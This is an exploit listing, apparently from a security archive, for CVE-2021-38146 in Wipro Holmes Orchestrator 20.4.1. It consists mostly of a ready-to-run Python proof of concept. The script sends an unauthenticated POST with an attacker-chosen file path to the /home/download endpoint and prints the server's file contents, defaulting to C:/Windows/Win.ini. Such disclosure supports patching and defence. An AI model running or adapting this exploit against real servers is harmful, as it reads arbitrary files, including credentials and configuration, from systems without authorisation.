Wipro Holmes Orchestrator 20.4.1 Arbitrary File Download

Wipro Holmes Orchestrator version 20.4.1 unauthenticated arbitrary file reading proof of concept exploit.


MD5 | 04adf28661ef09514ae3eb4f550b8b3d

# Exploit Title: Wipro Holmes Orchestrator 20.4.1 Unauthenticated Arbitrary File Read PoC
# Date: 05/08/2021
# Exploit Author: Rizal Muhammed @ub3rsick
# Vendor Homepage: https://www.wipro.com/holmes/
# Version: 20.4.1
# Tested on: Windows 10 x64
# CVE : CVE-2021-38146

import requests as rq
import argparse

port = 8001 # change port if application is running on different port

def file_download(host, filepath):
vuln_url = "http://%s:%s/home/download" % (host, port)
data = {
"SearchString": filepath,
"Msg": ""
}

hdr = {
"content-type": "application/json"
}

resp = rq.post(vuln_url, headers=hdr, json=data)

print resp.text

def main():
parser = argparse.ArgumentParser(
description="CVE-2021-38146 - Wipro Holmes Orchestrator 20.4.1 Unauthenticated Arbitrary File Download",
epilog="Vulnerability Discovery and PoC Author - Rizal Muhammed @ub3rsick"
)
parser.add_argument("-t","--target-ip", help="IP Address of the target server", required=True)
parser.add_argument("-f","--file-path", help="Absolute Path of the file to download", default="C:/Windows/Win.ini")
args = parser.parse_args()

if "\\" in args.file_path:
fp = args.file_path.replace("\\", "/")
else:
fp = args.file_path
file_download(args.target_ip, fp)

if __name__ == "__main__":
main()

Related Posts